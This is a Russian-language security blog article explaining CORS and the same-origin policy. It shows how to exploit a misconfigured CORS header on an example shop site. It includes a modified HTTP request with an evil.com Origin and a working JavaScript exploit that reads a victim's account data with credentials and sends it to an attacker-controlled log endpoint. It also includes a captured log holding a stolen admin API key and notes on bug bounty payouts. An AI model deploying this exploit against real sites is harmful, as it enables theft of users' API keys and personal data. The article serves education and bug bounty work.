August 27, 2020

Что такое CORS?

Сегодня внимание будет сосредоточено на сross-origin resource sharing (CORS). Разберемся, что это такое и как можно эксплуатировать неправильную конфигурацию CORS. На конкретном примере разберем уязвимость и посмотрим, что с этого можно получить. Также, пройдемся по вознаграждениям за уязвимости CORS из последних отчетов BugBounty.

Что такое CORS?

Cross-origin resource sharing (CORS) — это механизм браузера, который позволяет предоставить веб-странице доступ к ресурсам другого домена. Иногда, бывает что приложение состоит из нескольких сайтов, которые находятся на разных портах или доменах. И как раз от конфигурации CORS зависит, какие скрипты можно будет использовать, а какие нет.
Если эта политика настроена неправильно, то потенциально приложение может быть уязвимо к междоменным атаками. Чтобы рассказать, почему так популярен CORS нужно затронуть еще один термин.

Same-origin policy — это встроенная политика единого местопроисхождения браузера, которая была придумана для предотвращения атак сайтов друг на друга. Например, если бы этой политики не было, то при заходе на вредоносный сайт evil.com, с помощью скрипта можно было бы вытащить вашу переписку в protonmail.com или историю платежей в онлайн-банкинге.
Поэтому во всех браузерах кроме Internet Explorer есть такая защиту.

Чтобы лучше понять на практике, расскажу какие запросы пройдут сквозь same-origin policy, а какие нет, на примере домена evil.com.

Same-origin policy на практике

Поэтому разработчикам приходиться работать с другими страницами и обрабатывать их результаты с помощью сross-origin resource sharing.

Как вывод, CORS — это способ обхода same-origin policy.

Какие уязвимости могут быть при неправильной конфигурации CORS?

Представим типичную ситуацию разработки. Разработчик поднимает приложение например на порту 8000 и указывает, что оно должно работать с клиентом, который будет находиться на порту 3000.
Пробует выполнить тестовый запрос, запрос выполняется, но результат недоступен.

Ошибка same-origin policy

После этого он начинает гуглить ошибку и на первой странице видит ответ, что нужно добавить два заголовка для решения всех проблем: Access-Control-Allow-Origin и Access-Control-Allow-Credentials: true.

Без детального изучения это добавляется в код, тем самым разрешая доступ на выполнения запросов и передачу результатов с любого домена, включая передачу Cookies, ключей и токенов другим доменам. И тут начинается самое интересное.

Как написать JavaScript эксплоит для уязвимости CORS?

Сейчас я покажу на практике, как можно отправить запрос и посмотреть, является ли сайт уязвимым.
Пропускам трафик к сайту через BurpSuite, смотрим историю реквестов и находим один из таких запросов к сайту, где есть Origin. Меняем Origin на рандомный, в моем случае https://evil.com.

GET /accountInfo 
HTTP/1.1 
Host: carsmarket.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: carsmarket.net/my-account?id=plastik
Origin: https://evil.com
Connection: close
Cookie: session=234e32erefsdagfsdbgsaf342rf2rf2
Cache-Control: max-age=0

После отправки Request получаем Response от сервера со следующим содержанием. Access-Control-Allow-Origin: https://evil.com и Access-Control-Allow-Credentials: true.
В этих заголовках указывается, что доступ разрешен из запрашивающего домена (evil.com) и что междоменные запросы могут включать файлы cookie (Access-Control-Allow-Credentials: true). Это означает, что сайт уязвим, так как позволяет отправлять ответы на абсолютно любой домен.

GET /accountInfo HTTP/1.1
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 89

{
   "username": "plastik",
   "email": "",
   "apikey": "uk6bkwawLOR4WLILf5Rd1zkcg7eWDWen"
}

Простыми словами, если на странице есть какие-то токены, ключи, то мы можем легко их вытащить.

Например, у нас есть какой-то интернет магазин, который после покупки услуги предоставляет API ключ для работы с программой. Что-то на подобии Shodan и Censys, которые предоставляют API ключ для консольной версии после покупки премиум-пакета.

Для разработки эксплоита нужно понимать структуру сайта, для этого можем зарегистрироваться и посмотреть на какой именно странице отображается API-ключ. Также нам нужно создать вредоносный сайт, куда зайдет жертва, и от ее имени отправим запрос с целью получения API-ключа.

Более детально посмотрим на сам код JavaScript эксплоита (создаем скрипт, который будет отправлять запрос на страницу сайт с целью получения API-ключа):

<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://carsmarket.net/accountInfo',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
  location='/log?key='+this.responseText;
  };
</script>

Размещаем этот код на своем вебсайте. Для проверки работоспособности можно самому перейти на эту страницу и получить собственный API ключ.
Для проведения атаки, отправляем ссылку на сайт с нашей страницей жертве и ожидаем информации в лог-сервере. После перехода нашей жертвы по ссылке получаем вот такую запись:

2020-07-15 05:31:09 +0000 "GET /log?key={%20%20%22username%22:%20%22admin%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22sdgfer32f3ef34r23423df23%22} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36"

Делаем URL-decode и получае API ключ admin. После этого бесплатно используем неограниченные возможности сервиса.

"username": "admin", "email": "", "apikey": "sdgfer32f3ef34r23423df23"

Вот мы и разобрали, как с помощью неправильной конфигурации CORS можно получить конфиденциальные данные.

Cколько платят BugBounty за уязвимости с CORS?

Сумма вознаграждения в BugBounty программах будет зависеть от контекста. Некоторые компании выносят конфигурацию CORS вне скоупа тестирования. Если с помощью CORS удалось получить клиентские данные или учетные данные пользователя, то сумма может быть в диапазоне от $500 и до $2500.

Несколько примеров с Hackerone.

Первый кейс позволял получить информацию по клиентам сервиса. Информация была достаточно ценной для компании поэтому хакер получил вознаграждение в размере $2100.

CORS misconfiguration allows to steal customers data

Второй кейс позволял получить информацию о пользователях: идентификаторы, id-проектов и т.д. Сумма была чуть меньше, но неплохое вознаграждение для хакера в размере $1000.

CORS misconfiguration allows to steal user information

Заключение

В статье мы разобрались, что такое сross-origin resource sharing и same-origin policy. Узнали как найти сайт, который имеет уязвимую конфигурацию CORS. На конкретном примере, с помощью Javascript эксплоита угнали API ключ админа сервиса.

Более детально попрактиковать атаки на CORS можно в лабораториях Portswigger.

CORS требует достаточно щепетильной настройки. Если на сайте стандартная конфигурация — это первый звоночек. Несмотря на то, что уязвимость достаточно специфическая в эксплуатации, тем не менее позволяет получить конфиденциальные данные. В некоторых случаях будет являться критическим риском. И вознаграждение в таких случаях может составлять до $2500 или нести риск потенциальной утечки клиентских данных.

Источник